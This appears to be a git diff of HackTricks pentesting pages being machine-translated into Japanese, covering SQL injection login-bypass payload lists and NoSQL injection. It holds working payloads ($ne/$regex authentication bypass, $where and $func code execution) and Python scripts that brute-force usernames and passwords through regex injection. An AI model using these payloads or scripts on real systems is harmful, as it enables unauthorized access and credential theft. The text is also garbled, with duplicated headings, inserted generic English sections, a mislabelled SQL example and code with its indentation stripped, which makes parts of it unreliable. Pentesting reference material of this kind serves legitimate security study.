`'oR(2)=2-- 2` +- `'oR(2)=2#` +- `'oR(2)=2/*` +- `'oR(2)=(2)oR'` +- `'oR'2'='2' LimIT 1-- 2` +- `'oR'2'='2' LimIT 1#` +- `'oR'2'='2' LimIT 1/*` +- `'oR(2)=(2)LimIT(1)-- 2` +- `'oR(2)=(2)LimIT(1)#` +- `'oR(2)=(2)LimIT(1)/*` +- `"oR"2"="2` +- `"oR"2"="2"oR"` +- `"oR"2"="2"-- 2` +- `"oR"2"="2"#` +- `"oR"2"="2"/*` +- `"oR 2=2-- 2` +- `"oR 2=2#` +- `"oR 2=2/*` +- `"oR 2=2 oR"` +- `"oR/**/2=2-- 2` +- `"oR/**/2=2#` +- `"oR/**/2=2/*` +- `"oR/**/2=2/**/oR"` +- `"oR(2)=2-- 2` +- `"oR(2)=2#` +- `"oR(2)=2/*` +- `"oR(2)=(2)oR"` +- `"oR"2"="2" LimIT 1-- 2` +- `"oR"2"="2" LimIT 1#` +- `"oR"2"="2" LimIT 1/*` +- `"oR(2)=(2)LimIT(1)-- 2` +- `"oR(2)=(2)LimIT(1)#` +- `"oR(2)=(2)LimIT(1)/*` +- `'oR true-- 2` +- `'oR true#` +- `'oR true/*` +- `'oR true oR'` +- `'oR(true)-- 2` +- `'oR(true)#` +- `'oR(true)/*` +- `'oR(true)oR'` +- `'oR/**/true-- 2` +- `'oR/**/true#` +- `'oR/**/true/*` +- `'oR/**/true/**/oR'` +- `"oR true-- 2` +- `"oR true#` +- `"oR true/*` +- `"oR true oR"` +- `"oR(true)-- 2` +- `"oR(true)#` +- `"oR(true)/*` +- `"oR(true)oR"` +- `"oR/**/true-- 2` +- `"oR/**/true#` +- `"oR/**/true/*` +- `"oR/**/true/**/oR'` +- `'oR'2'LiKE'2` +- `'oR'2'LiKE'2'-- 2` +- `'oR'2'LiKE'2'#` +- `'oR'2'LiKE'2'/*` +- `'oR'2'LiKE'2'oR'` +- `'oR(2)LiKE(2)-- 2` +- `'oR(2)LiKE(2)#` +- `'oR(2)LiKE(2)/*` +- `'oR(2)LiKE(2)oR'` +- `"oR"2"LiKE"2` +- `"oR"2"LiKE"2"-- 2` +- `"oR"2"LiKE"2"#` +- `"oR"2"LiKE"2"/*` +- `"oR"2"LiKE"2"oR"` +- `"oR(2)LiKE(2)-- 2` +- `"oR(2)LiKE(2)#` +- `"oR(2)LiKE(2)/*` +- `"oR(2)LiKE(2)oR"` +- `admin` +- `admin'-- 2` +- `admin'#` +- `admin"-- 2` +- `admin"#` +- `ffifdyop` +- `'UniON SElecT 1,2-- 2` +- `'UniON SElecT 1,2,3-- 2` +- `'UniON SElecT 1,2,3,4-- 2` +- `'UniON SElecT 1,2,3,4,5-- 2` +- `'UniON SElecT 1,2#` +- `'UniON SElecT 1, 'UniON(SElecT(1),2,3,4)-- 2 'UniON(SElecT(1),2,3,4,5)-- 2 'UniON(SElecT(1),2)# @@ -662,6 +659,7 @@ ffifdyop ")oR(true)oR(" ")oR/**/true-- 2 ")oR/**/true# +```markdown ")oR/**/true/* ")oR/**/true/**/oR(" ')oR'2'LiKE('2 @@ -774,7 +772,6 @@ admin")# ")||(2)LiKE(2)-- 2 ")||(2)LiKE(2)# ")||(2)LiKE(2)/* -")||(2)LiKE(2)||(" ' UnION SELeCT 1,2` ' UnION SELeCT 1,2,3` ' UnION SELeCT 1,2,3,4` @@ -798,6 +795,47 @@ Pass1234." AND 1=0 UniON SeleCT "admin", "fe1ff105bf807478a217ad4e378dc658 Pass1234." AND 1=0 UniON SeleCT "admin", "fe1ff105bf807478a217ad4e378dc658"# Pass1234." AND 1=0 UniON ALL SeleCT "admin", md5("Pass1234. Pass1234." AND 1=0 UniON ALL SeleCT "admin", md5("Pass1234.")# +``` + +```html +")oR/**/true/* +")oR/**/true/**/oR(" +')oR'2'LiKE('2 +')oR'2'LiKE'2'-- 2 +')oR'2'LiKE'2'# +')oR'2'LiKE'2'/* +')oR'2'LiKE'2'oR(' +')oR(2)LiKE(2)-- 2 +')oR(2)LiKE(2)# +')oR(2)LiKE(2)/* +')oR(2)LiKE(2)oR(' +")oR"2"LiKE("2 +")oR"2"LiKE"2"-- 2 +")oR"2"LiKE"2"# +")oR"2"LiKE"2"/* +")oR"2"LiKE"2"oR(" +")oR(2)LiKE(2)-- 2 +")oR(2)LiKE(2)# +")oR(2)LiKE(2)/* +")oR(2)LiKE(2)oR(" +admin')-- 2 +admin')# +admin')/* +admin")-- 2 +admin")# +') UniON SElecT 1,2-- 2 +') UniON SElecT 1,2,3-- 2 +') UniON SElecT 1,2,3,4-- 2 +') UniON SElecT 1,2,3,4,5-- 2 +') UniON SElecT 1,2# +') UniON SElecT 1,2,3# +') UniON SElecT 1,2,3,4# +') UniON SElecT 1,2,3,4,5# +')UniON(SElecT(1),2)-- 2 +')UniON(SElecT(1),2,3)-- 2 +')UniON(SElecT(1),2,3,4)-- 2 +')UniON(SElecT(1),2,3,4,5)-- 2 +')UniON(SE Pass1234." AND 1=0 UniON SeleCT "admin", "5b19a9e947ca0fee49995f2a8b359e1392adbb61 Pass1234." AND 1=0 UniON SeleCT "admin", "5b19a9e947ca0fee49995f2a8b359e1392adbb61"# Pass1234." and 1=0 union select "admin",sha("Pass1234. @@ -827,22 +865,18 @@ Pass1234." and 1=0 union select "admin",sha("Pass1234.")# %8C%A8%27)||1-- 2 %bf')||1-- 2 ``` - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - diff --git a/pentesting-web/nosql-injection.md b/pentesting-web/nosql-injection.md index dc17e7c84..8caf5fd60 100644 --- a/pentesting-web/nosql-injection.md +++ b/pentesting-web/nosql-injection.md @@ -1,10 +1,10 @@ -# NoSQL injection +# NoSQLインジェクション ![](<../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化します。\ +今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -12,22 +12,21 @@ Get Access Today: ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか、またはHackTricksをPDFでダウンロードしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのスワッグ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** -NoSQL databases provide looser consistency restrictions than traditional SQL databases. By requiring fewer relational constraints and consistency checks, NoSQL databases often offer performance and scaling benefits. Yet these databases are still potentially vulnerable to injection attacks, even if they aren't using the traditional SQL syntax. +NoSQLデータベースは、従来のSQLデータベースよりも緩い整合性制約を提供します。関係の制約や整合性チェックが少なくても、NoSQLデータベースはパフォーマンスとスケーリングの利点を提供することがあります。しかし、これらのデータベースは、従来のSQL構文を使用していなくても、インジェクション攻撃の脆弱性がある可能性があります。 -## Exploit +## 攻撃手法 -In PHP you can send an Array changing the sent parameter from _parameter=foo_ to _parameter\[arrName]=foo._ - -The exploits are based in adding an **Operator**: +PHPでは、送信されるパラメータを_parameter=foo_から_parameter\[arrName]=foo_に変更することで、配列を送信することができます。 +攻撃手法は、**オペレータ**を追加することに基づいています: ```bash username[$ne]=1$password[$ne]=1 # username[$regex]=^adm$password[$ne]=1 #Check a , could be used to brute-force a parameter @@ -38,11 +37,9 @@ username[$ne]=admin&pass[$gt]=s # username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 # (not test and not admin) { $where: "this.credits == this.debits" }#, can be used to execute code ``` +### 基本認証のバイパス -### Basic authentication bypass - -**Using not equal ($ne) or greater ($gt)** - +**等しくない ($ne) やより大きい ($gt) を使用する** ```bash #in URL username[$ne]=toto&password[$ne]=toto @@ -54,24 +51,124 @@ username[$exists]=true&password[$exists]=true {"username": {"$ne": "foo"}, "password": {"$ne": "bar"} } {"username": {"$gt": undefined}, "password": {"$gt": undefined} } ``` +### **SQL - Mongo** ### **SQL - Mongo** +MongoDB is a popular NoSQL database that uses a document-oriented model to store data. It is widely used in web applications and offers a flexible and scalable solution for managing large amounts of data. + +#### **NoSQL Injection** + +NoSQL injection is a type of attack that targets NoSQL databases, such as MongoDB, by exploiting vulnerabilities in the application's input validation. This attack allows an attacker to manipulate the database queries and potentially gain unauthorized access to sensitive data. + +#### **Query Structure** + +In MongoDB, queries are structured using JSON-like syntax. The basic structure of a MongoDB query consists of a collection name and a set of key-value pairs that define the search criteria. + +```javascript +db.collection.find({ key: value }) +``` + +#### **NoSQL Injection Techniques** + +NoSQL injection techniques are similar to SQL injection techniques, but they are tailored to exploit the specific vulnerabilities of NoSQL databases. Here are some common techniques used in NoSQL injection attacks: + +1. **Boolean-based Injection**: This technique involves manipulating the query to return a different result based on the injected condition. For example, injecting a condition that is always true can bypass authentication checks. + +2. **Time-based Injection**: This technique involves injecting a delay into the query to determine if the injected condition is true or false. By measuring the response time, an attacker can infer information about the database. + +3. **Union-based Injection**: This technique involves injecting a query that combines the results of multiple queries. By manipulating the query, an attacker can retrieve data from different collections or documents. + +4. **Error-based Injection**: This technique involves injecting a query that triggers an error message. By analyzing the error message, an attacker can gather information about the database structure or retrieve sensitive data. + +#### **Prevention** + +To prevent NoSQL injection attacks, it is important to implement proper input validation and sanitization techniques. Here are some best practices to follow: + +1. **Input Validation**: Validate and sanitize all user input before using it in a database query. Use parameterized queries or prepared statements to ensure that user input is treated as data and not as part of the query structure. + +2. **Least Privilege**: Limit the privileges of the database user used by the application. Use separate user accounts with minimal privileges for different operations. + +3. **Secure Configuration**: Follow secure configuration practices for your MongoDB deployment. Disable unnecessary features and services, and enable authentication and encryption. + +4. **Regular Updates**: Keep your MongoDB installation up to date with the latest security patches and updates. + +By following these best practices, you can significantly reduce the risk of NoSQL injection attacks and protect your MongoDB database from unauthorized access. ``` Normal sql: ' or 1=1-- - Mongo sql: ' || 1==1// or ' || 1==1%00 ``` +### 長さ情報の抽出 -### Extract **length** information +To extract the length information from a NoSQL database, you can use the following techniques: +NoSQL databases often provide functions or operators to retrieve the length of a string or an array. By injecting specific payloads, you can exploit these functions to extract information. + +#### MongoDB + +In MongoDB, you can use the `$where` operator along with JavaScript code to perform NoSQL injection. By injecting code that retrieves the length of a field, you can extract the length information. + +For example, to extract the length of the `username` field in a MongoDB database, you can use the following payload: + +``` +db.collection.find({$where: "this.username.length == 10"}) +``` + +This payload will return all documents where the length of the `username` field is equal to 10. + +#### CouchDB + +In CouchDB, you can use the `map` function to perform NoSQL injection. By injecting code that retrieves the length of a field, you can extract the length information. + +For example, to extract the length of the `username` field in a CouchDB database, you can use the following payload: + +``` +/_design/test/_view/test?startkey="admin"&endkey="admin"\u0000"&map="function(doc){if(doc.username.length==10){emit(doc._id,doc);}}" +``` + +This payload will return all documents where the length of the `username` field is equal to 10. + +#### Other NoSQL Databases + +For other NoSQL databases, you can explore the available functions or operators to retrieve the length of a field. By injecting code that utilizes these functions or operators, you can extract the length information. + +Remember to always sanitize and validate user input to prevent NoSQL injection attacks. ```bash username[$ne]=toto&password[$regex]=.{1} username[$ne]=toto&password[$regex]=.{3} # True if the length equals 1,3... ``` +### **データ**情報の抽出 -### Extract **data** information +NoSQLインジェクションは、NoSQLデータベースに対する攻撃手法の一つです。この攻撃手法では、アプリケーションがユーザーの入力を適切に検証せずにデータベースクエリに直接組み込んでいる場合に悪用されます。 +NoSQLインジェクションを利用してデータ情報を抽出するためには、以下の手順を実行します。 + +1. ユーザーの入力を特定のクエリパラメータに挿入します。 +2. クエリの構造を解析し、データベースのクエリを改変します。 +3. クエリの結果を解析し、データ情報を抽出します。 + +以下は、NoSQLインジェクションによるデータ情報の抽出の例です。 + +```javascript +// 入力されたユーザー名を使用してデータベースクエリを実行する例 +var username = req.body.username; +var query = "SELECT * FROM users WHERE username = '" + username + "'"; +db.query(query, function(err, result) { + if (err) throw err; + res.send(result); +}); +``` + +攻撃者は、ユーザー名の入力に対して特殊な文字列を挿入することで、クエリを改変しデータ情報を抽出することができます。 + +例えば、以下のような入力を行うことで、全てのユーザーの情報を抽出することができます。 + +``` +' OR '1'='1 +``` + +このような攻撃を防ぐためには、ユーザーの入力を適切に検証し、データベースクエリに直接組み込まないようにする必要があります。代わりに、プレースホルダやパラメータ化されたクエリを使用することで、攻撃を防ぐことができます。 ``` in URL (if length == 3) username[$ne]=toto&password[$regex]=a.{2} @@ -89,9 +186,49 @@ in JSON {"username": {"$eq": "admin"}, "password": {"$regex": "^md" }} {"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }} ``` +### **SQL - Mongo** ### **SQL - Mongo** +MongoDB is a popular NoSQL database that uses a document-oriented model to store data. It is widely used in web applications and offers a flexible and scalable solution for managing large amounts of data. + +#### **NoSQL Injection** + +NoSQL injection is a type of attack that targets NoSQL databases, such as MongoDB, by exploiting vulnerabilities in the application's input validation. This attack allows an attacker to manipulate the database queries and potentially gain unauthorized access to sensitive data. + +#### **Query Structure** + +In MongoDB, queries are structured using JSON-like syntax. The basic structure of a MongoDB query consists of a collection name and a set of key-value pairs that define the search criteria. + +```javascript +db.collection.find({ key: value }) +``` + +#### **NoSQL Injection Techniques** + +NoSQL injection techniques are similar to SQL injection techniques, but they are tailored to exploit the specific vulnerabilities of NoSQL databases. Here are some common techniques used in NoSQL injection attacks: + +1. **Boolean-based Injection**: This technique involves manipulating the query to return a different result based on the injected condition. For example, injecting a condition that is always true can bypass authentication checks. + +2. **Time-based Injection**: This technique involves injecting a delay into the query to determine if the injected condition is true or false. By measuring the response time, an attacker can infer information about the database. + +3. **Union-based Injection**: This technique involves injecting a query that combines the results of multiple queries. By manipulating the query, an attacker can retrieve data from different collections or documents. + +4. **Error-based Injection**: This technique involves injecting a query that triggers an error message. By analyzing the error message, an attacker can gather information about the database structure or retrieve sensitive data. + +#### **Prevention** + +To prevent NoSQL injection attacks, it is important to implement proper input validation and sanitization techniques. Here are some best practices to follow: + +1. **Input Validation**: Validate and sanitize all user input before using it in a database query. Use parameterized queries or prepared statements to ensure that user input is treated as data and not as part of the query structure. + +2. **Least Privilege**: Limit the privileges of the database user used by the application. Use separate user accounts with minimal privileges for different operations. + +3. **Secure Configuration**: Follow secure configuration practices for your MongoDB deployment. Disable unnecessary features and services, and enable authentication and encryption. + +4. **Regular Updates**: Keep your MongoDB installation up to date with the latest security patches and updates. + +By following these best practices, you can significantly reduce the risk of NoSQL injection attacks and protect your MongoDB database from unauthorized access. ``` /?search=admin' && this.password%00 --> Check if the field password exists /?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password @@ -103,54 +240,44 @@ in JSON ... /?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00 Found ``` +### PHP任意関数実行 -### PHP Arbitrary Function Execution - -Using the **$func** operator of the [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) library (used by default) it might be possible to execute and arbitrary function as in [this report](https://swarm.ptsecurity.com/rce-cockpit-cms/). - +デフォルトで使用される[MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite)ライブラリの**$func**演算子を使用すると、[このレポート](https://swarm.ptsecurity.com/rce-cockpit-cms/)のように任意の関数を実行することができるかもしれません。 ```python "user":{"$func": "var_dump"} ``` - ![](<../.gitbook/assets/image (468).png>) -### Get info from different collection - -It's possible to use [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) to get info from a different collection. In the following example, we are reading from a **different collection** called **`users`** and getting the **results of all the entries** with a password matching a wildcard. +### 異なるコレクションから情報を取得する +[**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/)を使用して、異なるコレクションから情報を取得することができます。次の例では、**`users`**という名前の**異なるコレクション**から読み取り、ワイルドカードに一致するパスワードを持つ**すべてのエントリの結果**を取得しています。 ```json [ - { - "$lookup":{ - "from": "users", - "as":"resultado","pipeline": [ - { - "$match":{ - "password":{ - "$regex":"^.*" - } - } - } - ] - } - } +{ +"$lookup":{ +"from": "users", +"as":"resultado","pipeline": [ +{ +"$match":{ +"password":{ +"$regex":"^.*" +} +} +} +] +} +} ] ``` - - - - - ![](<../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築し、自動化**することができます。\ +今すぐアクセスを取得してください: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} ## Blind NoSQL - ```python import requests, string @@ -158,13 +285,13 @@ alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@ flag = "" for i in range(21): - print("[i] Looking for char number "+str(i+1)) - for char in alphabet: - r = requests.get("http://chall.com?param=^"+flag+char) - if ("" in r.text): - flag += char - print("[+] Flag: "+flag) - break +print("[i] Looking for char number "+str(i+1)) +for char in alphabet: +r = requests.get("http://chall.com?param=^"+flag+char) +if ("" in r.text): +flag += char +print("[+] Flag: "+flag) +break ``` ```python @@ -178,17 +305,66 @@ username="admin" password="" while True: - for c in string.printable: - if c not in ['*','+','.','?','|']: - payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c) - r = requests.post(u, data = {'ids': payload}, verify = False) - if 'OK' in r.text: - print("Found one more char : %s" % (password+c)) - password += c +for c in string.printable: +if c not in ['*','+','.','?','|']: +payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c) +r = requests.post(u, data = {'ids': payload}, verify = False) +if 'OK' in r.text: +print("Found one more char : %s" % (password+c)) +password += c +``` +## MongoDB ペイロード + +### NoSQL Injection + +NoSQLインジェクションは、MongoDBデータベースに対する攻撃手法の一つです。この攻撃手法では、クエリパラメータに悪意のある入力を注入することで、データベースから意図しない情報を取得したり、データを改ざんしたりすることが可能です。 + +以下に、NoSQLインジェクションに使用される一般的なペイロードの例を示します。 + +### ペイロードの例 + +#### ユーザー名とパスワードのバイパス + +```javascript +username[$ne]=admin&password[$ne]=password ``` -## MongoDB Payloads +このペイロードは、`username`が`admin`でなく、`password`が`password`でない場合に真となるクエリを生成します。これにより、正しいユーザー名とパスワードを知らずにログインすることができます。 +#### パスワードのハッシュのバイパス + +```javascript +username=admin&password[$regex]=.*&password[$options]=si +``` + +このペイロードは、`username`が`admin`であり、`password`が任意の値である場合に真となるクエリを生成します。これにより、パスワードのハッシュを知らずにログインすることができます。 + +#### データベースの情報の漏洩 + +```javascript +username=admin'&password[$regex]=.*&password[$options]=si +``` + +このペイロードは、`username`が`admin'`であり、`password`が任意の値である場合に真となるクエリを生成します。これにより、データベースの情報を漏洩させることができます。 + +#### コレクションの情報の漏洩 + +```javascript +username=admin'&password[$regex]=.*&password[$options]=si&$where=1==1 +``` + +このペイロードは、`username`が`admin'`であり、`password`が任意の値である場合に真となるクエリを生成します。さらに、`$where`演算子を使用して、条件を常に真とすることで、コレクションの情報を漏洩させることができます。 + +### 対策方法 + +NoSQLインジェクションを防ぐためには、以下の対策を実施することが重要です。 + +- 入力検証とエスケープ処理の実施 +- ホワイトリストに基づくデータの検証 +- パラメータ化されたクエリの使用 +- 最小特権の原則の適用 + +これらの対策を組み合わせることで、NoSQLインジェクションに対するセキュリティを向上させることができます。 ``` true, $where: '1 == 1' , $where: '1 == 1' @@ -208,16 +384,14 @@ db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emi {$gt: ''} [$ne]=1 ``` - -## Tools +## ツール * [https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration](https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration) * [https://github.com/C4l1b4n/NoSQL-Attack-Suite](https://github.com/C4l1b4n/NoSQL-Attack-Suite) -### Brute-force login usernames and passwords from POST login - -This is a simple script that you could modify but the previous tools can also do this task. +### POSTログインからのユーザー名とパスワードのブルートフォース攻撃 +これは簡単なスクリプトですが、前述のツールでもこのタスクを実行することができます。 ```python import requests import string @@ -227,49 +401,48 @@ headers = {"Host": "exmaple.com"} cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"} possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ] def get_password(username): - print("Extracting password of "+username) - params = {"username":username, "password[$regex]":"", "login": "login"} - password = "^" - while True: - for c in possible_chars: - params["password[$regex]"] = password + c + ".*" - pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False) - if int(pr.status_code) == 302: - password += c - break - if c == possible_chars[-1]: - print("Found password "+password[1:].replace("\\", "")+" for username "+username) - return password[1:].replace("\\", "") +print("Extracting password of "+username) +params = {"username":username, "password[$regex]":"", "login": "login"} +password = "^" +while True: +for c in possible_chars: +params["password[$regex]"] = password + c + ".*" +pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False) +if int(pr.status_code) == 302: +password += c +break +if c == possible_chars[-1]: +print("Found password "+password[1:].replace("\\", "")+" for username "+username) +return password[1:].replace("\\", "") def get_usernames(): - usernames = [] - params = {"username[$regex]":"", "password[$regex]":".*", "login": "login"} - for c in possible_chars: - username = "^" + c - params["username[$regex]"] = username + ".*" - pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False) - if int(pr.status_code) == 302: - print("Found username starting with "+c) - while True: - for c2 in possible_chars: - params["username[$regex]"] = username + c2 + ".*" - if int(requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False).status_code) == 302: - username += c2 - print(username) - break +usernames = [] +params = {"username[$regex]":"", "password[$regex]":".*", "login": "login"} +for c in possible_chars: +username = "^" + c +params["username[$regex]"] = username + ".*" +pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False) +if int(pr.status_code) == 302: +print("Found username starting with "+c) +while True: +for c2 in possible_chars: +params["username[$regex]"] = username + c2 + ".*" +if int(requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False).status_code) == 302: +username += c2 +print(username) +break - if c2 == possible_chars[-1]: - print("Found username: "+username[1:]) - usernames.append(username[1:]) - break - return usernames +if c2 == possible_chars[-1]: +print("Found username: "+username[1:]) +usernames.append(username[1:]) +break +return usernames for u in get_usernames(): - get_password(u) +get_password(u) ``` - -## References +## 参考文献 * [https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L\_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media](https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L\_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media) * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection) @@ -278,18 +451,18 @@ for u in get_usernames(): ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション +* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* 